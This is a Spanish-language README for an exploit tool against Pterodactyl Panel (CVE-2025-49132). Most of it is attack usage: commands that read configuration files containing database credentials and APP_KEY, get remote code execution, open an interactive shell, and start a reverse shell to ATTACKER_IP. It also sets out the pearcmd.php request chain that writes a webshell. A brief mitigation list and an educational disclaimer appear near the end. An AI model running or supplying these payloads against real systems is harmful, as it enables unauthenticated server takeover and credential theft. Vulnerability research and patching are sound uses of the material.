CVE-2025-49132 - Exploit del Panel de Pterodactyl

⚠️ Aviso: Este repositorio se crea solo con fines educativos y de investigación como parte de mi investigación de seguridad para entender y documentar CVE-2025-49132. Todo el crédito por el descubrimiento de la vulnerabilidad corresponde al investigador(es) original(es).

  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

        Panel de Pterodactyl - Exploit de LFI no autenticada a RCE

📋 Descripción

CVE-2025-49132 es una vulnerabilidad de Inclusión de Archivos Locales no Autenticada (LFI) en el Panel de Pterodactyl que puede escalarse a Ejecución Remota de Código (RCE) a través de pearcmd.php de PHP.

La vulnerabilidad existe en el endpoint /locales/locale.json, que no sanitiza adecuadamente los parámetros locale y namespace, permitiendo a atacantes leer archivos de configuración PHP arbitrarios y lograr ejecución de código.

🎯 Versiones Afectadas

⚡ Características

• Modo LFI: Leer archivos de configuración PHP (credenciales de base de datos, APP_KEY, etc.)
• Modo RCE: Ejecución remota de código mediante la técnica LFI2RCE con pearcmd.php
• Shell Interactivo: Shell persistente para ejecución de múltiples comandos
• Comando Único: Ejecución de un solo comando
• Salida Formateada: Salida con códigos de color y formato para mejor legibilidad

📦 Instalación

# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132

# Install dependencies
pip install requests

Requisitos

• Python 3.6+
• Librería requests
• curl (para modo RCE)

🚀 Uso

LFI - Leer Archivos de Configuración

# Read database configuration
python exploit.py -u http://target.com --read -p ../../config -f database

# Read application configuration (contains APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app

# Read other configurations
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail

RCE - Ejecución Remota de Código

# Single command execution
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"

# Interactive shell mode
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR

# Reverse shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Rutas Comunes de PEAR

📖 Argumentos

🔬 Cómo Funciona

LFI (Inclusión de Archivos Locales)

El endpoint vulnerable /locales/locale.json acepta los parámetros locale y namespace:

GET /locales/locale.json?locale=../../config&namespace=database

Esto permite leer cualquier archivo PHP que devuelva un array, incluyendo archivos de configuración de Laravel.

RCE (Ejecución Remota de Código)

El exploit encadena LFI con pearcmd.php para lograr RCE:

1. Etapa 1: Usar el comando config-create de pearcmd.php para escribir un webshell PHP

   root@kitploit:~

   /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
   

2. Etapa 2: Incluir el shell escrito mediante LFI

   root@kitploit:~

   /locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
   

📸 Capturas de Pantalla

LFI - Leyendo Configuración de Base de Datos

════════════════════════════════════════════════════════════
  DATABASE CONFIGURATION
════════════════════════════════════════════════════════════

  default: mysql
  connections:
    mysql:
      driver: mysql
      host: 127.0.0.1
      port: 3306
      database: panel
      username: pterodactyl
      password: SecretPassword123

────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!

RCE - Ejecución de Comandos

[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------

🛡️ Mitigación

1. Actualizar el Panel de Pterodactyl a la versión 1.11.11 o posterior
2. Implementar una validación adecuada de entrada en los parámetros locale y namespace
3. Usar una lista blanca para valores válidos de locale/namespace
4. Restringir la directiva register_argc_argv de PHP

⚠️ Aviso

Esta herramienta se proporciona solo con fines educativos y de pruebas de seguridad autorizadas.

• Use esta herramienta solo en sistemas de su propiedad o para los que tenga permiso explícito por escrito para realizar pruebas.
• El acceso no autorizado a sistemas informáticos es ilegal.
• El autor no es responsable por cualquier mal uso o daño causado por esta herramienta.

Úsela de manera responsable y ética.

📚 Referencias

• Sitio Oficial de Pterodactyl Panel
• GitHub de Pterodactyl Panel
• Detalles de CVE-2025-49132
• CVE-2025-49132: El Panel de Pterodactyl Permite Ejecución Remota de Código Arbitraria no Autenticada
• Técnica de LFI a RCE con PEAR
• PHP Filter Chain Generator
• Inclusión de Archivos Locales a Ejecución Remota de Código (RCE)

📝 Registro de Cambios

• v1.0.0 - Lanzamiento inicial
  • Lectura de configuración LFI
  • RCE mediante pearcmd
  • Modo shell interactivo
  • Salida formateada

⭐ ¡Dale una estrella a este repositorio si te resultó útil!